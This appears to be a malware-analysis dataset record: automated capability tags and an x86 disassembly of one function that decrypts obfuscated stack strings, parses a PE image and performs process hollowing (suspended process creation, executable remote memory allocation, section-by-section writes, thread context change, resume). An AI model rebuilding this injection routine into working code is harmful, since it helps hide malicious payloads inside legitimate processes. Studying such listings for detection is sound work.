Function at 0x402bdf
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push 0x4c0
push 0x40aef0
call fcn.00408ca0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x448], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x58], 0x61794931
mov dword [ebp - 0x54], 0x496f4175
mov dword [ebp - 0x50], 0x62304b7a
mov dword [ebp - 0x4c], 0x514c6253
mov dword [ebp - 0x48], 0x34656c75
mov dword [ebp - 0x44], 0x71553877
mov dword [ebp - 0x40], 0x31526679
mov dword [ebp - 0x3c], 0x55353935
mov dword [ebp - 0x38], 0x756a6c38
mov dword [ebp - 0x34], 0x65715979
mov byte [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0x907dbab8
mov dword [ebp - 0x28], 0x1e83078c
mov dword [ebp - 0x24], 0x3970480c
mov word [ebp - 0x20], 0x26bd
mov byte [ebp - 0x1e], 0x45
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x424], ebx
inc dword [ebp - 0x424]
cmp dword [ebp - 0x424], 0xa
jbe 0x402c7d
push 0x10
pop ecx
mov esi, eax
lea edi, [ebp - 0x4d0]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x494]
lea esi, [eax + ecx]
push 0x3e
pop ecx
lea edi, [ebp - 0x150]
rep movsd dword es:[edi], dword [esi]
mov eax, 0x5a4d
cmp word [ebp - 0x4d0], ax
jne 0x403097
cmp dword [ebp - 0x150], 0x4550
jne 0x403097
push 0x44
pop esi
push esi
push ebx
lea eax, [ebp - 0x490]
push eax
call fcn.00407d00
xor eax, eax
lea edi, [ebp - 0x438]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x2cc
push ebx
lea eax, [ebp - 0x420]
push eax
call fcn.00407d00
mov dword [ebp - 0x490], esi
mov dword [ebp - 0x464], 1
mov ax, word [ebp + 0x14]
mov word [ebp - 0x460], ax
mov eax, 0x110007
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x428], eax
push 0xf
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x58]
call fcn.00402a77
mov edi, 0x208
push edi
call fcn.004048eb
mov esi, eax
push edi
push ebx
push esi
call fcn.00407d00
add esp, 0x30
push dword [ebp - 0x448]
push esi
call dword [0x40e548]
push dword [ebp - 0x43c]
push esi
call dword [0x40e548]
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x490]
push eax
push ebx
push ebx
push 0x84
push ebx
push ebx
push ebx
push esi
push ebx
push 0xa
mov ebx, 0x40d798
push ebx
mov ecx, 0x40d7e4
call fcn.00402773
add esp, 0x30
test eax, eax
je 0x403097
push 0xbb8
push 1
push ebx
mov edi, 0x40d866
mov ecx, edi
call fcn.00402773
push dword [ebp - 0x11c]
push dword [ebp - 0x438]
push 2
mov esi, 0x40d9a4
push esi
mov ecx, 0x40d9c2
call fcn.00402773
add esp, 0x1c
test eax, eax
jne 0x402e02
push dword [ebp - 0x11c]
push dword [ebp - 0x438]
push 2
push esi
mov ecx, 0x40d9c2
call fcn.00402773
add esp, 0x10
mov esi, 0x1f4
push esi
push 1
push ebx
mov ecx, edi
call fcn.00402773
add esp, 0xc
and dword [ebp - 0x424], 0
inc dword [ebp - 0x424]
cmp dword [ebp - 0x424], 0xa
jbe 0x402e1c
push 0x40
pop eax
push eax
mov eax, 0x3000
push eax
push dword [ebp - 0x100]
push dword [ebp - 0x11c]
push dword [ebp - 0x438]
push 5
push ebx
mov ecx, 0x40d839
call fcn.00402773
add esp, 0x1c
test eax, eax
je 0x40305a
push esi
push 1
push ebx
mov ecx, edi
call fcn.00402773
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0xfc]
push dword [ebp - 0x440]
push dword [ebp - 0x11c]
push dword [ebp - 0x438]
push 5
push ebx
mov ecx, 0x40d7f3
call fcn.00402773
add esp, 0x28
and dword [ebp - 0x424], 0
inc dword [ebp - 0x424]
cmp dword [ebp - 0x424], 0xa
jbe 0x402ea0
and dword [ebp - 0x424], 0
movzx eax, word [ebp - 0x14a]
cmp dword [ebp - 0x424], eax
jae 0x402f73
mov eax, dword [ebp - 0x424]
imul eax, eax, 0x28
add eax, dword [ebp - 0x440]
mov ecx, dword [ebp - 0x494]
lea esi, [eax + ecx + 0xf8]
mov dword [ebp - 0x43c], esi
lea eax, [ebp - 0x428]
push eax
push 0x40
push 0x28
push esi
push 4
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00402773
push 0xa
pop ecx
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x444]
push eax
push dword [ebp - 0x48]
mov ecx, dword [ebp - 0x440]
add ecx, dword [ebp - 0x44]
push ecx
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x11c]
push eax
push dword [ebp - 0x438]
push 5
push ebx
mov ecx, 0x40d7f3
call fcn.00402773
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
push 0x28
push dword [ebp - 0x43c]
push 4
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00402773
add esp, 0x4c
inc dword [ebp - 0x424]
mov edi, 0x40d866
mov esi, 0x1f4
jmp 0x402eb6
push esi
push 1
push ebx
mov ecx, edi
call fcn.00402773
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x434]
push 2
mov esi, 0x40d9a4
push esi
mov ecx, 0x40d9d7
call fcn.00402773
lea eax, [ebp - 0x444]
push eax
push 4
lea eax, [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x37c]
add eax, 8
push eax
push dword [ebp - 0x438]
push 5
push ebx
mov ecx, 0x40d7f3
call fcn.00402773
mov eax, dword [ebp - 0x128]
add eax, dword [ebp - 0x11c]
mov dword [ebp - 0x370], eax
lea eax, [ebp - 0x420]
push eax
push dword [ebp - 0x434]
push 2
push esi
mov ecx, 0x40d9ea
call fcn.00402773
add esp, 0x48
push dword [ebp - 0x434]
push 1
push ebx
mov ecx, 0x40d82c
call fcn.00402773
push dword [ebp - 0x438]
push 1
push ebx
mov esi, 0x40d920
mov ecx, esi
call fcn.00402773
push dword [ebp - 0x434]
push 1
push ebx
mov ecx, esi
call fcn.00402773
push 0x3e8
push 1
push ebx
mov ecx, edi
call fcn.00402773
add esp, 0x30
jmp 0x403097
push dword [ebp - 0x438]
push 1
mov esi, 0x40d920
push ebx
mov ecx, esi
call fcn.00402773
push dword [ebp - 0x434]
push 1
push ebx
mov ecx, esi
call fcn.00402773
push 0
push dword [ebp - 0x438]
push 2
push ebx
mov ecx, 0x40d878
call fcn.00402773
add esp, 0x28
mov dword [ebp - 4], 0xfffffffe
call fcn.00408ce8
ret